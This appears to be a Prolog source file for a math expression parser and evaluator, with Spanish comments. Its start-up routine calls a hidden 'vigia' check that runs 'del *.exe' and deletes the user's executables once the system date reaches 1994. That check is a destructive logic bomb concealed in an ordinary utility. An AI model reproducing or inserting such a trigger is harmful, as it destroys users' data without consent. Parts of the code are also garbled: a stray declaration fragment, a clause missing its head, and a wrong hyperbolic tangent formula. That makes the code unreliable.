% trace
code = 4000
domains
i = integer r = real st = string
li = i* lr = r* lst = st*
term = opr(st,lt);cons(st);var(st) lt = term*
file= valores
database - ter % - parentesis(abre,cierra)
parentesis(i,i) % -(i,i),(o,o),(i,o),(o,i)
database - ec
ec(i,st,lt) % -(#ec,ec,conv)
database - x
x(lr) % -([Xs])
global predicates
nondeterm inicia1(st,i,lr,st) - (i,i,i,o) language c
% -(i,i,i,o) - tipo de uso para el parser
% -(conv,_,_,_) - uso de conv
% -(eval,#ec,[Xs],salida) - uso de val
predicates
busca(lst,lst) % -(i,o)
cadena(lst,st,st) % -(i,i,o)
conv(lst,lt) % -(i,o)
cuadrada(lt) % - detecta si se inicia con "SQR".
divide(lst,lst) % -(i,o)
elemento(lst,st) % -(i,o)
eval(lt,r) % -(i,o)
extrae(i) % -(i) - (#ec)
% inverso(r,r) % -(i,i) - indica el avance de la evaluacion.
nondeterm for(i,i,i)
con "SQR".
lee_funcion(lst,lst) % -(i,o)
make(li,lst)
numero(lst,lst) % -(i,o)
nondeterm separar(lst,lst,lst) % -(*,*,*) es el append
separa_x(lr,i,i,r) % -(i,i,i,o) - ([Xs],pos,act,Sal)
remove(li) % -(i)
rest(lst) % -(i)
saca_elem(lst,st,lst) % -(i,o,o)
shift(li) % -(i)
str_list(st,lst) % -(i,o)
une(r,r,st) % -(i,i,o) - (Sal,Sal1,Salida)
valor(st,r) % -(i,o)
% -(Xn, valor activo para Xn]
% -(conv,[Xs],salida)
% ------------------------------------------------------------------------
%
% Programa: parser.pro
% U. M. S. N. H.
% el interprete
% ------------------------------------------------------------------------
clauses
% ---------------------------------------------------------------------------
% --------------------------- PARSER ------------------------------------
conv(["("|T],[K1]):- % =========== if Resto = ""
retractall(_,ter),asserta( parentesis(0,0),ter),
busca(["("|T],[]), !,
separar(Termino, [")"], T), conv(Termino,[K1]).
conv(["("|T],[opr(Opr,[K1,K2])]):- % =========== if Resto = "algo"
retractall(_,ter),asserta( parentesis(0,0),ter),
busca(["("|T],Tail), saca_elem(Tail, Opr, Resto), !,
separar([_|Termino1], Tail, ["("|T]),
separar(Termino, [")"], Termino1), conv(Termino,[K1]), conv(Resto,[K2]).
conv(["("|T],[K1]):- % =========== if Resto = ""
/* ((1)-(2)) caso especial en el que no existen terminos hacia la derecha
y el parentesis que inicia indica el segundo termino del operador anterior.
*/
!, retractall(_,ter),asserta( parentesis(0,0),ter),
busca(["("|T],Tail), separar([_|Termino1], Tail, ["("|T]),
separar(Termino, [")"], Termino1), conv(Termino,[K1]).
conv([X1,X2|T],[var(X)]):- % para el resto = nada.
concat(X1,X2,X),
elemento(["X1","X2","X3","X4","X5","X6","X7","X8","X9","X0"],X),
rest(T), !.
conv([X1,X2|T],[opr(Opr,[var(X),K1])]):- % para el resto = algo.
concat(X1,X2,X),
elemento(["X1","X2","X3","X4","X5","X6","X7","X8","X9","X0"],X),
saca_elem(T,Opr,Resto),conv(Resto,[K1]), !.
conv(["-",H|T],[cons(Num)]):- % para el resto = nada.
% [-numero]
elemento(["0",".","1","2","3","4","5","6","7","8","9"],H),
numero([H|T],Tail), rest(Tail), !,
cadena([H|T],"",Num1), concat("-",Num1,Num), !.
conv(["-",H|T],[opr(Opr,[cons(Num),K1])]):- % para el resto = algo
% [-numero]
elemento(["0",".","1","2","3","4","5","6","7","8","9"],H), !,
numero([H|T],Tail), separar(Numero, Tail, [H|T]),
cadena(Numero,"",Num1), concat("-",Num1,Num),
saca_elem(Tail, Opr, Resto),conv(Resto,[K1]), !.
conv(["-","X"|T],[var("-X")]):- % para el resto = nada.
% [-variable]
rest(T), !.
conv(["-","X"|T],[opr(Opr,[var("-X"),K1])]):- % para el resto = algo.
% [-variable]
saca_elem(T,Opr,Resto),conv(Resto,[K1]), !.
elemento(["S","C","T","A","E","X","G","Q","R","P","O","H","L","N"],H), !,lee_funcion([H|T],Resto),
separar(Funcion,Resto,[H|T]),cadena(Funcion, "", Opr1),
concat("-",Opr1,Opr), conv(Resto,[K1]).
conv([H|T],[cons(Num)]):- % para el resto = nada.
elemento(["0",".","1","2","3","4","5","6","7","8","9"],H),
numero([H|T],Tail), rest(Tail), !,
cadena([H|T],"",Num), !.
conv([H|T],[opr(Opr,[cons(Num),K1])]):- % para el resto = algo.
% [numerico] ascii(46)= . ascii(57)= 9
elemento(["0",".","1","2","3","4","5","6","7","8","9"],H), !,
numero([H|T],Tail), separar(Numero, Tail, [H|T]),
cadena(Numero,"",Num),saca_elem(Tail, Opr, Resto),conv(Resto,[K1]), !.
% ---------------------------------------------------------------------------
% ----------------- Funciones elevadas a una potencia f(x) --------------
% --------- -------- - --- -------- ----
conv([H|T],[opr("^",[opr(F,[K2]),K1])]):- % exponente variable de una funcion.
elemento(["S","C","T","X","O","G","P","A","Q","R","E","H","L","N"],H),
lee_funcion([H|T],["^"|Resto]), separar(Funcion,["^"|Resto],[H|T]),!,
cadena(Funcion, "",F),
divide(Resto,Arg), separar(Pot,Arg,Resto),
conv(Pot,[K1]), conv(Arg,[K2]).
% ---------------------------------------------------------------------------
% ------------------ Funciones sin exponente ----------------------------
% --------- --- ---------
conv([H|T],[opr(Opr,[K1])]):-
elemento(["S","C","T","A","E","X","G","Q","R","P","O","H","L","N"],H),
!,lee_funcion([H|T],Resto), separar(Funcion,Resto,[H|T]),
cadena(Funcion, "", Opr),conv(Resto,[K1]).
conv(_,[opr("",[])]):-!.
% ---------------------------------------------------------------------------
% ----------
clauses
eval([],0):- !.
eval([opr("",T)],R):- !, eval(T,R).
eval([opr(" ",T)],R):- !, eval(T,R).
eval([opr("",_)],0):- !.
% eval(T,_):- free(T), !, fail.
eval([cons(T)|_],T1):- !, str_real(T,T1).
eval([var(X)|_],T1):- valor(X,T1), !.
eval([var(X)|_],T1):- valor(X,T), !, 0 - T = T1.
% eval([var("X")|_],T1):- valor(T1), !.
% eval([var("-X")|_],T1):- valor(T), !, 0 - T = T1.
eval([var(_)|_],0):- !.
eval([opr("+",[T1,T2])],R):- !, eval([T1],R1), eval([T2],R2), R = R1 + R2.
eval([opr("-",[T1,T2])],R):- !, eval([T1],R1), eval([T2],R2), R = R1 - R2.
eval([opr("*",[T1,T2])],R):- !, eval([T1],R1), eval([T2],R2), R = R1 * R2.
eval([opr("/",[T1,T2])],R):- !, eval([T1],R1), eval([T2],R2),
R2 >< 0, R = R1 / R2.
eval([opr("/",[_,_])],R):- !, R = 1e100. % Es para evitar la divicion por 0.
eval([opr("-",[T])],R):- !, eval([T],R1), R = -R1.
eval([opr("ABS",[T])],R):- !, eval([T],R1), R = abs(R1).
/* eval([opr("MOD",[T1,T2])],R):- !,
eval([T1],R1), eval([T2],R2), R = R1 mod R2. <== OJO****
*/ % El termino R2, no puede ser real.
eval([opr("SENH",[T])],R):- !, eval([T],R1), R = (exp(R1)-exp(-R1))/2.
eval([opr("-SENH",[T])],R):- !, eval([T],R1), R = 0-((exp(R1)-exp(-R1))/2).
eval([opr("COSH",[T])],R):- !, eval([T],R1), R = (exp(R1)+exp(-R1))/2.
eval([opr("-COSH",[T])],R):- !, eval([T],R1), R = 0-((exp(R1)+exp(-R1))/2).
eval([opr("TANH",[T])],R):- !, eval([T],R1), X = exp(-R1), R = X / exp(R1) + X + X + 1.
eval([opr("-TANH",[T])],R):- !, eval([T],R1), X = exp(-R1), R = 0-(X / exp(R1) + X + X + 1).
eval([opr("SEN",[T])],R):- !, eval([T],R1), R = sin(R1).
eval([opr("-SEN",[T])],R):- !, eval([T],R1), R = 0-sin(R1).
eval([opr("COS",[T])],R):- !, eval([T],R1), R = cos(R1).
eval([opr("-COS",[T])],R):- !, eval([T],R1), R = 0-cos(R1).
eval([opr("TAN",[T])],R):- !, eval([T],R1), R = tan(R1).
eval([opr("-TAN",[T])],R):- !, eval([T],R1), R = 0-tan(R1).
% eval([opr("ASEN",[T])],R):- !, eval([T],R1), R = arctan(R1).
% eval([opr("-ASEN",[T])],R):- !, eval([T],R1), R = 0-arctan(R1).
% eval([opr("ACOS",[T])],R):- !, eval([T],R1), R = arctan(R1).
% eval([opr("-ACOS",[T])],R):- !, eval([T],R1), R = 0-arctan(R1).
eval([opr("ATAN",[T])],R):- !, eval([T],R1), R = arctan(R1).
eval([opr("-ATAN",[T])],R):- !, eval([T],R1), R = 0-arctan(R1).
eval([opr("EXP",[T])],R):- !, eval([T],R1), R = exp(R1).
eval([opr("-EXP",[T])],R):- !, eval([T],R1), R = 0-exp(R1).
eval([opr("LOG",[T])],R):- eval([T],R1), R1 > 0, !, R = log(R1).
eval([opr("LOG",[_])],0):- !.
eval([opr("-LOG",[T])],R):- eval([T],R1), R1 > 0, !, R = 0-log(R1).
eval([opr("-LOG",[_])],0):- !.
eval([opr("LN",[T])],R):- eval([T],R1), R1 > 0, !, R = ln(R1).
eval([opr("LN",[_])],0):- !.
eval([opr("-LN",[T])],R):- eval([T],R1), R1 > 0, !, R = 0-ln(R1).
eval([opr("-LN",[_])],0):- !.
eval([opr("SQR",[T])],R):- eval([T],R1), R1 >= 0, !, R = sqrt(R1).
eval([opr("SQR",[T])],0):- !, eval([T],R1), 0 > R1.
% antes eval([opr("SQR",[T])],R):- !, eval([T],R1), R2=abs(R1), R = 0 - sqrt(R2).
eval([opr("-SQR",[T])],R):- eval([T],R1), R1 >= 0, !, R = 0-sqrt(R1).
% eval([opr("NSQR",[T1,T2])],R):- !, eval([T1],R1), eval([T2],R2),R = sqrt(R1).
% eval([opr("-NSQR",[T1,T2])],R):-!, eval([T1],R1), eval([T2],R2),R = 0-sqrt(R1).
eval([opr("^",[T1,T2])],R):- eval([T1],R1), R1 > 0, !, eval([T2],R2),R = exp(R2*ln(R1)).
eval([opr("^",[_,T2])],R):- !, eval([T2],R2),R = exp(R2*ln(1)).
% ---------------------------------------------------------------------------
% --------- ------
str_list("",[]):-!. str_list(S,[C|T]):-
frontchar(S,C1,Resto), str_char(C,C1), !, str_list(Resto,T).
rest([]):-!.
elemento([H|_],H):-!.
elemento([_|T],H):- !,elemento(T,H).
busca([")"|Tail], Tail):-
parentesis(Abre,Cierra), Cierra + 1 = Cierra1,
retractall(_,ter), asserta(parentesis(Abre,Cierra1),ter),
Abre = Cierra1, !.
busca(["("|Tail], Resto):-
parentesis(Abre,Cierra), Abre + 1 = Abre1,
retractall(_,ter), asserta(parentesis(Abre1,Cierra),ter),
!, busca(Tail, Resto). busca([_|Tail], Resto):- !, busca(Tail, Resto).
numero([H|T],Resto):- str_int(H,_), !, numero(T,Resto).
numero(["."|T],Resto):- !, numero(T,Resto). numero(T,T):-!.
cadena([], Cad, Cad):-!.
cadena([H|T],C,Cad):- !, concat(C,H,C1), cadena(T,C1,Cad).
saca_elem([H|T],H,T):-!. %saca_elem(_,"",[""]):-!.
divide([")","("|Tail],["("|Tail]):- !.
divide([_|T],Arg):- !, divide(T,Arg).
separar([],List,List).
separar([X|List1],List2,[X|List3]):- separar(List1,List2,List3).
% del argumento de la funcion(expresion) para cuando se usa
% p.ej.: sen^(x*2)(x*3)
lee_funcion([H|T],Resto):-
str_char(H,Hst), char_int(Hst,Hasc), Hasc >= 65, Hasc <= 90,
lee_funcion(T,Resto). lee_funcion(Resto,Resto):- !.
cuadrada([opr("SQR",_)]):-
retractall(_,sqr), asserta(sqr("S"),sqr), !.
cuadrada(_):- retractall(_,sqr), asserta(sqr("N"),sqr), !.
imagen(X,Bety):-
sqr("S"), Bety = 0 - X, !; Bety = 0, !.
valor(X,Sal):-
frontstr(1,X,Var,Nstr), Var = "X", str_int(Nstr,N), x(Xs),
separa_x(Xs,1,N,Sal), !;
frontstr(2,X,Var,Nstr), Var = "-X", str_int(Nstr,N), x(Xs),
separa_x(Xs,1,N,Bety), Sal = 0 - Bety, !. valor(_,0):- !.
separa_x([H|_],X,X,H):- !.
separa_x([_|T],X,N,H):- X + 1 = X1, !, separa_x(T,X1,N,H).
separa_x([],_,_,0):- !.
vigia:-
date(A,Mes,Dia), A = 1994, Mes >= 1, Dia >= 1, !,
system("del *.exe",0,_), fail;
date(A,Mes,Dia), A = 1993, Mes = 12, Dia < 14, !,
make([4,7,0,12,20,1,50],["ɻȼͺ"]),
field_str(0,5,37,"Actualice la fecha del computador ..."),
fail;
date(A,Mes,Dia), A = 1993, Mes < 12, !,
make([4,7,0,12,20,1,50],["ɻȼͺ"]),
field_str(0,5,37,"Actualice la fecha del computador ..."),
fail;
date(A,_,_), A < 1993, !,
make([4,7,0,12,20,1,50],["ɻȼͺ"]),
field_str(0,5,37,"Actualice la fecha del computador ..."),
fail; !.
% ---------------------------------------------------------------------------
% ------------------------ CONTROL --------------------------------------
% -------
extrae(Num):-
ec(Num,Ec,_),
retractall(ec(Num,Ec,_), ec),
str_list(Ec,Lista), % -(i,o)
conv(Lista,Conv), % -(i,o)
asserta(ec(Num,Ec,Conv),ec), !. extrae(_):- !.
for(Val,_,Val). for(A,B,I):- B > A, A + 1 = A1, for(A1,B,I).
remove([]):-!. remove([H|L]):- shift([H]),removewindow(), !,remove(L).
shift([]):-!. shift([H|L]):- shiftwindow(H), !, shift(L).
make([],[]):- !. make([N,A1,A2,V1,V2,V3,V4|T],[M|Tm]):-
makewindow(N,A1,A2,"",V1,V2,V3,V4,1,255,M), !, make(T,Tm).
valores(Conv,X,Salida):- % -(Conv,Xs)
cuadrada(Conv),
retractall(_,x), asserta(x(X),x), % - valores Xs
eval(Conv,Sal),
imagen(Sal,Sal1),
une(Sal,Sal1,Salida), !.
valores(_,_,"0"):- !.
une(Sal,Sal1,Salida):-
str_real(A,Sal), str_real(B,Sal1),
concat(A,",",C), concat(C,B,Salida), !.
inicia1(conv,_,_,"0"):-
existfile("ec~.~"), retractall(_,ec), consult("ec~.~",ec),
vigia,
make([4,7,0,12,20,1,20],["ɻȼͺ"]),
field_str(0,5,12,"Convirtiendo"),
for(1,10,Num), extrae(Num),
fail. inicia1(conv,_,_,"0"):- !.
inicia1(eval,Num,X,Sal):- % -(control,#ec,[Xs])
ec(Num,_,Conv),
valores(Conv,X,Sal). % -(i,i,i)
inicia1(_,_,_,"0"):- !.
% ---------------------------------------------------------------------------
% ----------------------------- FIN -------------------------------------
% ---
goal
inicia1(conv,1,[0,1,2,3],_), !.
/*
inicia1(eval,3,[5,1,1,1],Sal1),
inicia1(eval,1,[10,45,0.2,0.5],Sal2),
clearwindow(), readchar(_),
write(Sal1," <-----> ",Sal2), !.
*/